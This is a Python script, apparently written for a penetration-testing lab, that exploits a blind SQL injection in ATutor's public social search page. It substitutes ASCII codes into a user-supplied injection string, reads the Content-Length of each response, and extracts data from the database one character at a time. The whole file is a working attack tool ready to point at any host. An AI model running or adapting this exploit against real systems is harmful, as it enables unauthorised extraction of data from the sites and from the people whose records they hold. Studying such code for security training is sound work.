import sys
import requests
from colorama import Fore, Back, Style

def fromat_text(title, item):
    cr = '\r\n'
    section_break = cr + "*" * 20 + cr
    item = str(item)
    text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break
    return text

def searchFriends_sqli(ip, inj_str):
    for j in range(32,126):
        target = "http://%s/atutor/mods/_standard/social/index_public.php?q=%s" % (ip, inj_str.replace("[CHAR]", str(j)))
        r = requests.get(target)
        content_lenght = int(r.headers['Content-Length'])
        if (content_lenght > 20):
            return j
    return None

def main(argv):
    if len(argv) != 3:
        print("(+) usage: %s <target> <injection_string>" % argv[0])
        print("(+) eg: %s 192.168.121.103 \"aaa\"" % argv[0])
        sys.exit(-1)

    ip = argv[1]
    injection_string_a = argv[2]
    extracted_string = ""

    print("(+) Retriving data for your request using SQLi:")
    for i in range(1,30):
        injection_string = injection_string_a % (i)
        extracted_char = searchFriends_sqli(ip, injection_string)
        if extracted_char is None:
            break
        extracted_string += str(chr(extracted_char))

    print("(+) Done the data is %s" %extracted_string)
    return extracted_string

if __name__ == "__main__":
    main(sys.argv)